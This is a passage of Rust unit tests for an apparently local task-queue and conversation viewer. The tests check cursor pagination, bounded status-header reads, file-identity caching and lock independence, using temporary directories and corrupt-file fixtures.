25396            let (tasks, talks, _watches) =
25397                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25398            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
25399            let expected =
25400                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
25401                    .unwrap();
25402            assert_eq!(actual.id, expected.id);
25403            assert!(!actual.status.open());
25404            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25405            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25406            // Without Unix file identity, every readable record must be
25407            // reparsed to detect same-size, same-mtime replacements safely.
25408            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
25409            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25410        }
25411        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
25412        ui.queue.put(&mut child).unwrap();
25413        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
25414        let (tasks, talks, _watches) =
25415            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25416        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25417        child.origin_chat = Some(chat_id.clone());
25418        ui.queue.put(&mut child).unwrap();
25419        let (tasks, talks, _watches) =
25420            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25421        assert_eq!(
25422            crate::consult::origin_talk(&tasks, &talks, &question)
25423                .unwrap()
25424                .id,
25425            chat_id
25426        );
25427        let revision = question_record_revision(&question);
25428        question.abandon("settled elsewhere");
25429        assert_ne!(revision, question_record_revision(&question));
25430        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25431        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
25432        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
25433        let (tasks, talks, _watches) =
25434            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25435        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
25436    }
25437
25438    #[test]
25439    fn list_cursors_freeze_membership_and_expire_explicitly() {
25440        let home = tempfile::tempdir().unwrap();
25441        let ui = delta_test_ui(home.path());
25442        std::fs::create_dir_all(ui.queue.root()).unwrap();
25443        for i in 0..40 {
25444            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
25445        }
25446        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
25447        assert_eq!(first.len(), STORE_PAGE_SIZE);
25448        let cursor = cursor.unwrap();
25449        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
25450        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
25451        let (second, _) = page_ids(
25452            &ui,
25453            false,
25454            PageQuery {
25455                before: Some(cursor.clone()),
25456            },
25457        )
25458        .unwrap();
25459        assert_eq!(second[0], "record-0023");
25460        assert!(second.iter().all(|id| !first.contains(id)));
25461        assert!(
25462            page_ids(
25463                &ui,
25464                true,
25465                PageQuery {
25466                    before: Some(cursor.clone())
25467                }
25468            )
25469            .is_err()
25470        );
25471        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
25472        assert_eq!(fresh[0], "record-9999");
25473        ui.monitor.list_walks.lock().unwrap().clear();
25474        assert!(
25475            page_ids(
25476                &ui,
25477                false,
25478                PageQuery {
25479                    before: Some(cursor)
25480                }
25481            )
25482            .is_err()
25483        );
25484    }
25485
25486    #[tokio::test]
25487    async fn talk_pages_load_every_open_then_frozen_closed_history() {
25488        let home = tempfile::tempdir().unwrap();
25489        let ui = delta_test_ui(home.path());
25490        // Every closed conversation is newer by ID than every open conversation.
25491        for i in 0..23 {
25492            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
25493        }
25494        for i in 0..45 {
25495            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
25496        }
25497        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
25498        let first = talks_page(
25499            State(ui.clone()),
25500            Query(PageQuery::default()),
25501            header::HeaderMap::new(),
25502        )
25503        .await
25504        .unwrap()
25505        .0;
25506        assert_eq!(
25507            first.rows.iter().filter(|row| row.status.open()).count(),
25508            23
25509        );
25510        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
25511        assert!(first.rows[..23].iter().all(|row| row.status.open()));
25512        let parsed = ui
25513            .monitor
25514            .talk_parses
25515            .load(std::sync::atomic::Ordering::Relaxed);
25516        assert_eq!(
25517            parsed,
25518            first.rows.len(),
25519            "closed bodies outside this page are not restored"
25520        );
25521        let fresh = talks_page(
25522            State(ui.clone()),
25523            Query(PageQuery::default()),
25524            header::HeaderMap::new(),
25525        )
25526        .await
25527        .unwrap()
25528        .0;
25529        assert_eq!(fresh.rows.len(), first.rows.len());
25530        assert_eq!(
25531            ui.monitor
25532                .talk_parses
25533                .load(std::sync::atomic::Ordering::Relaxed),
25534            parsed
25535        );
25536        let mut seen: std::collections::HashSet<_> =
25537            first.rows.iter().map(|row| row.id.clone()).collect();
25538        // Status changes keep their original membership position until refresh.
25539        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
25540        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
25541        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
25542        let mut next = first.next;
25543        while let Some(cursor) = next {
25544            let page = talks_page(
25545                State(ui.clone()),
25546                Query(PageQuery {
25547                    before: Some(cursor),
25548                }),
25549                header::HeaderMap::new(),
25550            )
25551            .await
25552            .unwrap()
25553            .0;
25554            assert!(page.rows.len() <= STORE_PAGE_SIZE);
25555            for row in page.rows {
25556                assert!(seen.insert(row.id), "a cursor must not repeat membership");
25557            }
25558            next = page.next;
25559        }
25560        let expected: HashSet<_> = (0..23)
25561            .map(|i| format!("20260101-000000-{i:03}"))
25562            .chain(
25563                (0..45)
25564                    .filter(|i| *i != 1)
25565                    .map(|i| format!("20261019-000000-{i:03}")),
25566            )
25567            .collect();
25568        assert_eq!(
25569            seen, expected,
25570            "the cursor walk must return every surviving ID"
25571        );
25572        let refreshed = talks_page(
25573            State(ui.clone()),
25574            Query(PageQuery::default()),
25575            header::HeaderMap::new(),
25576        )
25577        .await
25578        .unwrap()
25579        .0;
25580        assert_eq!(
25581            refreshed
25582                .rows
25583                .iter()
25584                .filter(|row| row.status.open())
25585                .count(),
25586            23
25587        );
25588        assert!(
25589            refreshed
25590                .rows
25591                .iter()
25592                .any(|row| row.id == "20261019-000000-000")
25593        );
25594        assert!(
25595            !refreshed
25596                .rows
25597                .iter()
25598                .any(|row| row.id == "20260101-000000-000")
25599        );
25600    }
25601
25602    #[test]
25603    fn talk_pages_with_only_open_rows_have_no_history_cursor() {
25604        let home = tempfile::tempdir().unwrap();
25605        let ui = delta_test_ui(home.path());
25606        for i in 0..STORE_PAGE_SIZE + 5 {
25607            seed_talk_at(&ui.talks, &format!("open-{i:03}"), "open");
25608        }
25609        let (ids, next) = page_ids(&ui, true, PageQuery::default()).unwrap();
25610        assert_eq!(ids.len(), STORE_PAGE_SIZE + 5);
25611        assert!(next.is_none());
25612    }
25613
25614    #[test]
25615    fn talk_status_header_reads_are_bounded_independently_of_transcript_size() {
25616        struct Counted<R> {
25617            inner: R,
25618            bytes: usize,
25619        }
25620        impl<R: std::io::Read> std::io::Read for Counted<R> {
25621            fn read(&mut self, buf: &mut [u8]) -> std::io::Result<usize> {
25622                let n = self.inner.read(buf)?;
25623                self.bytes += n;
25624                Ok(n)
25625            }
25626        }
25627        let home = tempfile::tempdir().unwrap();
25628        let ui = delta_test_ui(home.path());
25629        let id = seed_talk_at(&ui.talks, "header-chat", "closed");
25630        let mut chat = ui.talks.get(&id).unwrap();
25631        for size in [0, 1024 * 1024, 8 * 1024 * 1024] {
25632            chat.turns = vec![
25633                serde_json::from_value(serde_json::json!({
25634                    "who": "agent", "body": "x".repeat(size), "at": chat.updated_at,
25635                }))
25636                .unwrap(),
25637            ];
25638            for status in [talk::TalkStatus::Closed, talk::TalkStatus::Open] {
25639                chat.status = status;
25640                // Exercise the actual on-disk serializer, including its field order.
25641                let body = serde_json::to_vec_pretty(&chat).unwrap();
25642                let mut reader = Counted {
25643                    inner: body.as_slice(),
25644                    bytes: 0,
25645                };
25646                assert_eq!(read_talk_status(&mut reader), Some(status));
25647                assert!(
25648                    reader.bytes <= 1024,
25649                    "header classification read {} bytes",
25650                    reader.bytes
25651                );
25652            }
25653        }
25654        // Noncanonical field order must neither traverse a transcript nor hide
25655        // an open row. Its real status is validated by the ordinary row reader.
25656        let noncanonical = format!(
25657            r#"{{"turns":[{{"body":"{}"}}],"status":"open"}}"#,
25658            "x".repeat(1024 * 1024)
25659        );
25660        let mut reader = Counted {
25661            inner: noncanonical.as_bytes(),
25662            bytes: 0,
25663        };
25664        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25665        assert!(reader.bytes <= 1024);
25666        let oversized = format!(
25667            r#"{{"agent":"{}","status":"open"}}"#,
25668            "x".repeat(128 * 1024)
25669        );
25670        let mut reader = Counted {
25671            inner: oversized.as_bytes(),
25672            bytes: 0,
25673        };
25674        assert_eq!(read_talk_status(&mut reader), Some(talk::TalkStatus::Open));
25675        assert!(reader.bytes <= 64 * 1024);
25676    }
25677
25678    #[test]
25679    fn talk_header_classification_does_not_hold_the_queue_cursor_registry() {
25680        let home = tempfile::tempdir().unwrap();
25681        let ui = delta_test_ui(home.path());
25682        seed_talk_at(&ui.talks, "header-chat", "open");
25683        std::fs::create_dir_all(ui.queue.root()).unwrap();
25684        let (started, ready) = std::sync::mpsc::channel();
25685        let (release, wait) = std::sync::mpsc::channel();
25686        let chat_ui = ui.clone();
25687        let scan = std::thread::spawn(move || {
25688            page_ids_with(&chat_ui, true, PageQuery::default(), |ui, ids| {
25689                started.send(()).unwrap();
25690                wait.recv().unwrap();
25691                open_talk_ids(ui, ids)
25692            })
25693            .unwrap()
25694        });
25695        ready.recv_timeout(Duration::from_secs(2)).unwrap();
25696        let (finished, result) = std::sync::mpsc::channel();
25697        let queue = std::thread::spawn(move || {
25698            finished
25699                .send(page_ids(&ui, false, PageQuery::default()).is_ok())
25700                .unwrap();
25701        });
25702        let completed = result.recv_timeout(Duration::from_secs(2));
25703        // Release and join both workers even if the regression returns.
25704        release.send(()).unwrap();
25705        scan.join().unwrap();
25706        queue.join().unwrap();
25707        assert!(
25708            completed.unwrap(),
25709            "queue paging must not wait for chat header I/O"
25710        );
25711    }
25712
25713    #[test]
25714    fn talk_status_projection_does_not_cache_files_changed_during_read() {
25715        let home = tempfile::tempdir().unwrap();
25716        let ui = delta_test_ui(home.path());
25717        let ids = vec!["changing-chat".to_owned()];
25718        seed_talk_at(&ui.talks, &ids[0], "closed");
25719        assert!(open_talk_ids(&ui, &ids).is_empty());
25720        seed_talk_at(&ui.talks, &ids[0], "open");
25721        let open = open_talk_ids_with(&ui, &ids, cfg!(unix), |path| {
25722            let value: serde_json::Value =
25723                serde_json::from_slice(&std::fs::read(path).unwrap()).unwrap();
25724            // Replace the file after parsing, before its identity is checked again.
25725            seed_talk_at(&ui.talks, &ids[0], "closed");
25726            serde_json::from_value(value["status"].clone()).ok()
25727        });
25728        assert!(open.contains(&ids[0]));
25729        assert!(
25730            ui.monitor
25731                .talk_status_index
25732                .lock()
25733                .unwrap()
25734                .records
25735                .is_empty()
25736        );
25737        assert!(open_talk_ids(&ui, &ids).is_empty());
25738        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, 3);
25739    }
25740
25741    #[test]
25742    fn talk_status_projection_rereads_when_metadata_cannot_prove_identity() {
25743        let home = tempfile::tempdir().unwrap();
25744        let ui = delta_test_ui(home.path());
25745        let ids = vec!["same-stamp-chat".to_owned()];
25746        seed_talk_at(&ui.talks, &ids[0], "open");
25747        // Model a non-Unix metadata collision deterministically: the old
25748        // classification has a fingerprint equal to the current file's.
25749        ui.monitor.talk_status_index.lock().unwrap().records.insert(
25750            ids[0].clone(),
25751            (
25752                file_identity(&ui.talks.path_of(&ids[0])).unwrap(),
25753                Some(talk::TalkStatus::Closed),
25754            ),
25755        );
25756        let open = open_talk_ids_with(&ui, &ids, false, |path| {
25757            std::fs::File::open(path).ok().and_then(read_talk_status)
25758        });
25759        assert!(
25760            open.contains(&ids[0]),
25761            "an untrusted cache hit must still read the current header"
25762        );
25763        assert!(
25764            ui.monitor
25765                .talk_status_index
25766                .lock()
25767                .unwrap()
25768                .records
25769                .is_empty()
25770        );
25771        seed_talk_at(&ui.talks, &ids[0], "closed");
25772        assert!(
25773            open_talk_ids_with(&ui, &ids, false, |path| {
25774                std::fs::File::open(path).ok().and_then(read_talk_status)
25775            })
25776            .is_empty()
25777        );
25778        let index = ui.monitor.talk_status_index.lock().unwrap();
25779        assert_eq!(index.parses, 2);
25780        assert!(
25781            index.records.is_empty(),
25782            "untrusted fingerprints must never publish cache entries"
25783        );
25784    }
25785
25786    #[test]
25787    fn talk_rows_cache_shrinks_without_reparsing_open_rows() {
25788        let home = tempfile::tempdir().unwrap();
25789        let ui = delta_test_ui(home.path());
25790        let headers = header::HeaderMap::new();
25791        seed_talk_at(&ui.talks, "open-chat", "open");
25792        seed_talk_at(&ui.talks, "closed-chat", "closed");
25793        talk_rows(
25794            &ui,
25795            vec!["open-chat".into(), "closed-chat".into()],
25796            &headers,
25797        );
25798        {
25799            let mut index = ui.monitor.talk_index.lock().unwrap();
25800            let closed = index["closed-chat"].1.clone();
25801            for i in 0..1000 {
25802                index.insert(
25803                    format!("cached-closed-{i}"),
25804                    (
25805                        file_identity(&ui.talks.path_of("closed-chat")).unwrap(),
25806                        closed.clone(),
25807                    ),
25808                );
25809            }
25810        }
25811        assert_eq!(
25812            talk_rows(&ui, vec!["closed-chat".into()], &headers).len(),
25813            1
25814        );
25815        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 2);
25816        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25817        assert_eq!(
25818            ui.monitor
25819                .talk_parses
25820                .load(std::sync::atomic::Ordering::Relaxed),
25821            2
25822        );
25823        {
25824            let mut index = ui.monitor.talk_index.lock().unwrap();
25825            let open = index["open-chat"].1.clone();
25826            for i in 0..1000 {
25827                index.insert(
25828                    format!("cached-open-{i}"),
25829                    (
25830                        file_identity(&ui.talks.path_of("open-chat")).unwrap(),
25831                        open.clone(),
25832                    ),
25833                );
25834            }
25835        }
25836        // Even when open rows exceed the bound, keep the currently requested rows.
25837        assert_eq!(talk_rows(&ui, vec!["open-chat".into()], &headers).len(), 1);
25838        assert_eq!(ui.monitor.talk_index.lock().unwrap().len(), 1);
25839        assert_eq!(
25840            ui.monitor
25841                .talk_parses
25842                .load(std::sync::atomic::Ordering::Relaxed),
25843            2
25844        );
25845    }
25846
25847    #[test]
25848    fn talk_status_projection_reuses_large_indexes_and_prunes_deleted_files() {
25849        let home = tempfile::tempdir().unwrap();
25850        let ui = delta_test_ui(home.path());
25851        std::fs::create_dir_all(ui.talks.root()).unwrap();
25852        let ids: Vec<_> = (0..1050).map(|i| format!("chat-{i:04}")).collect();
25853        for id in &ids {
25854            std::fs::write(
25855                ui.talks.path_of(id),
25856                r#"{"status":"closed","turns":[{"body":"ignored"}]}"#,
25857            )
25858            .unwrap();
25859        }
25860        assert!(open_talk_ids(&ui, &ids).is_empty());
25861        assert_eq!(
25862            ui.monitor.talk_status_index.lock().unwrap().parses,
25863            ids.len()
25864        );
25865        assert!(open_talk_ids(&ui, &ids).is_empty());
25866        let reused = if cfg!(unix) { ids.len() } else { 2 * ids.len() };
25867        assert_eq!(ui.monitor.talk_status_index.lock().unwrap().parses, reused);
25868        std::fs::write(ui.talks.path_of(&ids[0]), r#"{"status":"open"}"#).unwrap();
25869        std::fs::write(ui.talks.path_of(&ids[1]), "broken").unwrap();
25870        assert_eq!(
25871            open_talk_ids(&ui, &ids),
25872            std::collections::HashSet::from([ids[0].clone()])
25873        );
25874        let parsed = ui.monitor.talk_status_index.lock().unwrap().parses;
25875        let refreshed = if cfg!(unix) { 2 } else { ids.len() };
25876        assert_eq!(parsed, reused + refreshed);
25877        open_talk_ids(&ui, &ids);
25878        assert_eq!(
25879            ui.monitor.talk_status_index.lock().unwrap().parses,
25880            parsed + if cfg!(unix) { 0 } else { ids.len() },
25881            "only reliable file identity permits caching, including unreadable rows"
25882        );
25883        std::fs::remove_file(ui.talks.path_of(&ids[0])).unwrap();
25884        assert!(open_talk_ids(&ui, &ids[1..]).is_empty());
25885        assert!(
25886            !ui.monitor
25887                .talk_status_index
25888                .lock()
25889                .unwrap()
25890                .records
25891                .contains_key(&ids[0])
25892        );
25893        assert!(
25894            ui.monitor.talk_index.lock().unwrap().is_empty(),
25895            "classification never caches bodies"
25896        );
25897    }
25898
25899    #[tokio::test]
25900    async fn stats_queue_index_counts_only_fresh_readable_statuses() {
25901        let home = tempfile::tempdir().unwrap();
25902        let ui = delta_test_ui(home.path());
25903        let mut task = Task::new(
25904            "task".into(),
25905            "body".into(),
25906            PathBuf::from("/repo"),
25907            Source::Human,
25908        );
25909        ui.queue.put(&mut task).unwrap();
25910        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25911        let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25912        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.queued, 1);
25913        let expected = parsed + usize::from(!cfg!(unix));
25914        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25915        task.status = crate::queue::TaskStatus::Held;
25916        ui.queue.put(&mut task).unwrap();
25917        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25918        std::fs::write(ui.queue.path_of(&task.id), "broken").unwrap();
25919        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 0);
25920        ui.queue.put(&mut task).unwrap();
25921        assert_eq!(stats_queue(State(ui.clone())).await.unwrap().0.held, 1);
25922        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
25923        assert_eq!(stats_queue(State(ui)).await.unwrap().0.held, 0);
25924    }
25925
25926    #[tokio::test]
25927    async fn health_notifications_revision_is_fresh_between_monitor_ticks() {
25928        let home = tempfile::tempdir().unwrap();
25929        let ui = delta_test_ui(home.path());
25930        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25931        let before = health(State(ui.clone())).await.unwrap().0;
25932        ui.notices.raise(Notice::warn("task:1", "held")).unwrap();
25933        let after = health(State(ui)).await.unwrap().0;
25934        assert_ne!(before.notifications_rev, after.notifications_rev);
25935        assert_eq!(after.notifications_unread, 1);
25936    }
25937
25938    #[tokio::test]
25939    async fn list_pages_bound_history_and_keep_dependency_evidence() {
25940        let home = tempfile::tempdir().unwrap();
25941        let ui = delta_test_ui(home.path());
25942        let queue = &ui.queue;
25943        let talks = &ui.talks;
25944        for i in 0..1000 {
25945            let id = format!("20261019-{i:06}-page");
25946            let mut task = Task::new(
25947                "task".into(),
25948                "instruction".repeat(100),
25949                PathBuf::from("/repo/magi"),
25950                Source::Human,
25951            );
25952            task.id = id.clone();
25953            if i == 0 {
25954                task.status = crate::queue::TaskStatus::Held;
25955            } else if i == 999 {
25956                task.status = crate::queue::TaskStatus::Blocked;
25957                task.blocked_by = vec!["20261019-000000-page".into()];
25958            }
25959            queue.put(&mut task).unwrap();
25960            seed_talk_at(talks, &id, "closed");
25961        }
25962        let page = serde_json::to_value(
25963            queue_page(State(ui.clone()), Query(PageQuery::default()))
25964                .await
25965                .unwrap()
25966                .0,
25967        )
25968        .unwrap();
25969        assert_eq!(page["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25970        assert_eq!(page["rows"][0]["id"], "20261019-000999-page");
25971        assert!(
25972            !page["rows"][0]["stuck_roots"]
25973                .as_array()
25974                .unwrap()
25975                .is_empty()
25976        );
25977        let cursor = page["next"].as_str().unwrap();
25978        let last_id = page["rows"].as_array().unwrap().last().unwrap()["id"]
25979            .as_str()
25980            .unwrap();
25981        // Deleting an already enumerated file cannot shift or repeat a page.
25982        std::fs::remove_file(queue.path_of(last_id)).unwrap();
25983        let next = serde_json::to_value(
25984            queue_page(
25985                State(ui.clone()),
25986                Query(PageQuery {
25987                    before: Some(cursor.into()),
25988                }),
25989            )
25990            .await
25991            .unwrap()
25992            .0,
25993        )
25994        .unwrap();
25995        assert_eq!(next["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
25996        assert!(next["rows"][0]["id"].as_str().unwrap() < last_id);
25997        let chats = serde_json::to_value(
25998            talks_page(
25999                State(ui.clone()),
26000                Query(PageQuery::default()),
26001                header::HeaderMap::new(),
26002            )
26003            .await
26004            .unwrap()
26005            .0,
26006        )
26007        .unwrap();
26008        assert_eq!(chats["rows"].as_array().unwrap().len(), STORE_PAGE_SIZE);
26009        assert!(chats["rows"][0].get("pending").is_none());
26010        assert!(chats["rows"][0].get("turn_bodies_md").is_none());
26011        let counts = serde_json::to_value(stats_queue(State(ui)).await.unwrap().0).unwrap();
26012        assert_eq!(counts["held"], 1);
26013        assert_eq!(counts["blocked"], 1);
26014        assert_eq!(counts["queued"], 997);
26015    }
26016
26017    #[test]
26018    fn queue_index_observes_external_replacement_deletion_and_corruption() {
26019        let dir = tempfile::tempdir().unwrap();
26020        let ui = delta_test_ui(dir.path());
26021        let mut task = Task::new(
26022            "task".into(),
26023            "body".into(),
26024            PathBuf::from("/repo"),
26025            Source::Human,
26026        );
26027        task.runs = vec!["run-a".into()];
26028        ui.queue.put(&mut task).unwrap();
26029        assert!(ui.find_task_for_run("run-a").unwrap().is_some());
26030        task.runs = vec!["run-b".into()];
26031        let path = ui.queue.path_of(&task.id);
26032        let modified = path.metadata().unwrap().modified().unwrap();
26033        let replacement = path.with_extension("replacement");
26034        let bytes = serde_json::to_vec_pretty(&task).unwrap();
26035        assert_eq!(bytes.len() as u64, path.metadata().unwrap().len());
26036        std::fs::write(&replacement, &bytes).unwrap();
26037        std::fs::File::options()
26038            .write(true)
26039            .open(&replacement)
26040            .unwrap()
26041            .set_times(std::fs::FileTimes::new().set_modified(modified))
26042            .unwrap();
26043        std::fs::rename(&replacement, &path).unwrap();
26044        assert!(ui.find_task_for_run("run-a").unwrap().is_none());
26045        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26046        std::fs::write(&path, "broken").unwrap();
26047        assert!(ui.find_task_for_run("run-b").is_err());
26048        std::fs::write(&path, bytes).unwrap();
26049        assert!(ui.find_task_for_run("run-b").unwrap().is_some());
26050        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
26051        assert!(ui.find_task_for_run("run-b").unwrap().is_none());
26052    }
26053
26054    #[tokio::test]
26055    async fn conversation_core_is_independent_of_unreadable_related_history() {
26056        let home = tempfile::tempdir().unwrap();
26057        let ui = delta_test_ui(home.path());
26058        let id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26059        std::fs::create_dir_all(ui.queue.root()).unwrap();
26060        std::fs::write(ui.queue.root().join("unreadable.json"), "broken").unwrap();
26061        let Json(core) = talk_core(State(ui.clone()), Path(id.clone()))
26062            .await
26063            .unwrap();
26064        assert_eq!(core.talk.id, id);
26065        assert!(talk_sections(State(ui), Path(id)).await.is_ok());
26066    }
26067
26068    #[test]
26069    fn conversation_core_ignores_worker_store_lock_and_busy_secondary_pool() {
26070        let home = tempfile::tempdir().unwrap();
26071        let ui = delta_test_ui(home.path());
26072        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26073        let directory = home.path().join("workers/jobs/abcdef");
26074        std::fs::create_dir_all(&directory).unwrap();
26075        let job = crate::worker::Job {
26076            id: "abcdef".into(),
26077            sequence: 1,
26078            kind: "chat".into(),
26079            key: id.clone(),
26080            payload: serde_json::json!({ "talk": id }),
26081            generation: "test".into(),
26082            version: None,
26083            status: crate::worker::Status::Running,
26084            result: None,
26085            pid: None,
26086            created_at: 0,
26087            finished_at: None,
26088        };
26089        std::fs::write(
26090            directory.join("job.json"),
26091            serde_json::to_vec(&job).unwrap(),
26092        )
26093        .unwrap();
26094        let live = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
26095        let store =
26096            crate::worker::execution_lease_for_test(&home.path().join("workers/store.lock"));
26097        let runtime = tokio::runtime::Builder::new_current_thread()
26098            .enable_all()
26099            .max_blocking_threads(1)
26100            .build()
26101            .unwrap();
26102        runtime.block_on(async {
26103            let (release, held) = std::sync::mpsc::channel();
26104            let (started, ready) = tokio::sync::oneshot::channel();
26105            let occupied = tokio::task::spawn_blocking(move || {
26106                started.send(()).unwrap();
26107                held.recv().unwrap();
26108            });
26109            ready.await.unwrap();
26110            let secondary = tokio::spawn(talk_sections(State(ui.clone()), Path(id.clone())));
26111            let bulk = ui
26112                .monitor
26113                .bulk_slots
26114                .clone()
26115                .acquire_many_owned(2)
26116                .await
26117                .unwrap();
26118            let result = tokio::time::timeout(
26119                Duration::from_secs(2),
26120                talk_core(State(ui.clone()), Path(id.clone())),
26121            )
26122            .await;
26123            // Release all blockers before assertions, including on a regression.
26124            drop(store);
26125            drop(bulk);
26126            release.send(()).unwrap();
26127            occupied.await.unwrap();
26128            let _ = secondary.await.unwrap().unwrap();
26129            let Json(core) = result
26130                .expect("transcript must bypass secondary work and the worker store lock")
26131                .unwrap();
26132            assert!(
26133                core.thinking,
26134                "read-only observation retains live worker state"
26135            );
26136            assert_eq!(core.talk.id, id);
26137            let admission_ui = ui.clone();
26138            let (release, held) = std::sync::mpsc::channel();
26139            let (started, ready) = tokio::sync::oneshot::channel();
26140            let admission = std::thread::spawn(move || {
26141                let _lock = admission_ui.talk_turns.lock().unwrap();
26142                started.send(()).unwrap();
26143                held.recv().unwrap();
26144            });
26145            ready.await.unwrap();
26146            let result = tokio::time::timeout(
26147                Duration::from_secs(2),
26148                talk_core(State(ui.clone()), Path(id.clone())),
26149            )
26150            .await;
26151            release.send(()).unwrap();
26152            admission.join().unwrap();
26153            assert!(
26154                result
26155                    .expect("display must not wait behind local admission")
26156                    .unwrap()
26157                    .0
26158                    .thinking
26159            );
26160            assert!(ui.is_thinking(&id));
26161            assert!(ui.is_thinking_observed(&id));
26162            drop(live);
26163            assert!(
26164                !ui.is_thinking_observed(&id),
26165                "a finished lease no longer appears live"
26166            );
26167            assert!(!ui.is_thinking(&id));
26168            let _turn = ui.begin_talk_turn(&id).unwrap().unwrap();
26169            assert!(
26170                ui.is_thinking_observed(&id),
26171                "local admission remains visible"
26172            );
26173        });
26174    }
26175
26176    #[tokio::test]
26177    async fn conversation_core_defers_store_links_but_preserves_markdown_and_provenance() {
26178        let home = tempfile::tempdir().unwrap();
26179        let ui = delta_test_ui(home.path());
26180        let id = seed_talk_at(&ui.talks, "20261019-000000-cafe", "open");
26181        let mut task = Task::new(
26182            "Referenced task".into(),
26183            "Unrelated instruction history".repeat(1024),
26184            home.path().into(),
26185            Source::Human,
26186        );
26187        task.id = "20261019-000000-abcd".into();
26188        ui.queue.put(&mut task).unwrap();
26189        let mut conversation = ui.talks.get(&id).unwrap();
26190        conversation.turns.push(talk::Turn {
26191            sender: Some(talk::Sender::Persona),
26192            who: talk::Who::Agent,
26193            body: "**Useful transcript** task@abcd and R2-1-3\n\n| Reference |\n| --- |\n| `abcd` |\n\n- task@abcd\n\n```\ntask@abcd\n```".into(),
26194            at: conversation.created_at,
26195            attachments: Vec::new(),
26196            usage: None,
26197            breaks: None,
26198            messages: Vec::new(),
26199            posted_by: None,
26200        });
26201        ui.talks.put(&mut conversation).unwrap();
26202
26203        let Json(core) = talk_core(State(ui.clone()), Path(id)).await.unwrap();
26204        let markdown = serde_json::to_value(&core.turn_bodies_md)
26205            .unwrap()
26206            .to_string();
26207        assert!(markdown.contains("\"strong\""));
26208        assert!(markdown.contains("\"table\""));
26209        assert!(markdown.contains("\"bullet_list\""));
26210        assert!(markdown.contains("\"code_block\""));
26211        assert!(!markdown.contains("\"internal_link\""));
26212        assert_eq!(core.talk.turns[0].sender, Some(talk::Sender::Persona));
26213        assert_eq!(core.talk.turns[0].body, conversation.turns[0].body);
26214        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
26215
26216        // Deferred decoration still resolves the same validated task, without
26217        // touching opaque code blocks or changing the original transcript.
26218        let references = ui.references.for_talk(home.path(), &conversation);
26219        let mut decorated = core.turn_bodies_md[0].clone();
26220        references.markdown(&mut decorated);
26221        let decorated = serde_json::to_value(decorated).unwrap().to_string();
26222        assert_eq!(decorated.matches("\"internal_link\"").count(), 3);
26223        assert!(decorated.contains(&format!("#/tasks/{}", task.id)));
26224        assert_eq!(
26225            ui.talks.get(&conversation.id).unwrap().turns[0].body,
26226            conversation.turns[0].body
26227        );
26228    }
26229
26230    #[tokio::test]
26231    async fn unrelated_corrupt_task_does_not_break_run_or_talk_relationships() {
26232        let home = tempfile::tempdir().unwrap();
26233        let ui = delta_test_ui(home.path());
26234        let talk_id = seed_talk_at(&ui.talks, "20261019-000000-core", "open");
26235        let mut run = RunState::new(
26236            PathBuf::from("/repo"),
26237            "main".into(),
26238            "01234567".into(),
26239            "Useful run".into(),
26240            Config::default(),
26241        );
26242        run.save_under(home.path()).unwrap();
26243        let mut task = Task::new(
26244            "Related".into(),
26245            "body".into(),
26246            PathBuf::from("/repo"),
26247            Source::Agent {
26248                run: talk_id.clone(),
26249                node: "chat".into(),
26250            },
26251        );
26252        task.runs = vec![run.id.clone()];
26253        ui.queue.put(&mut task).unwrap();
26254        std::fs::write(ui.queue.root().join("unrelated.json"), "broken").unwrap();
26255        assert_eq!(ui.find_task_for_run(&run.id).unwrap().unwrap().id, task.id);
26256        assert_eq!(ui.find_tasks_for_talk(&talk_id).unwrap()[0].id, task.id);
26257        assert!(
